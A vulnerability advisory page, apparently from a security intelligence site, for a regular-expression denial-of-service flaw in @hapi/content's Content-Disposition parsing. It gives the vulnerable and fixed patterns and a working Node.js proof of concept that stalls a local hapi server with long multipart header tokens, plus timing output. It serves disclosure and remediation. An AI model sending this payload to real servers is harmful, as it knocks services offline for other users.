@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service (CVE-2026-119202)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update HackerOne Content to version 6.0.3.
- Affected
- HackerOne Content
lt *..6.0.3
- HackerOne Content
- Fixed in
- HackerOne Content
6.0.3
- HackerOne Content
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
7.5
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v3
7.5
CVSS v3
Severity High on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.4 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 35.4
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 77.53 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 7.5 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 7.5
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.4 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 35.4
- Elevated — this CVE ranks above at least 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-1333
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.
Details
Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
Proof of concept
Install @hapi/hapi with @hapi/content 6.0.2, then run:
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.
With @hapi/content 6.0.3:
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to Content.disposition(). An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, NVD (NIST), cvelistv5
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| hapijs | content |
|
|
| npm | @hapi/content |
|
|
| npm | content |
|
|
Vendors and products
Weakness classes (CWE)
CWE-1333Inefficient Regular Expression Complexity
Base
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
Entry at MITRE CWE-1333
References & sources
- github.comhapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fdx_refsource_MISC, web
- github.comhapijs/content/releases/tag/v6.0.3x_refsource_MISC, web
- github.comhapijs/content/security/advisories/GHSA-8494-f6mr-cjpvx_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-119202advisory
- github.comhapijs/contentpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
ReceivedGitHub
CVSS V3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness type: CWE-1333
Description added or changed
Show 7 original changes
Individual changes of this event as published by NVD Type Action Before After Description added —@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.CVSS added —AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HWeakness type (CWE) added —CWE-1333Affected versions (publisher) added —New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/119xxx/CVE-2026-119202.json">CVE-2026-119202</a>Reference added —https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fdReference added —https://github.com/hapijs/content/releases/tag/v6.0.3Reference added —https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpvSource identifier: security-advisories@github.com
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-119202"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-119202.svg?lang=en" alt="CVE-2026-119202 – NEOSEC Intel" height="20"></a>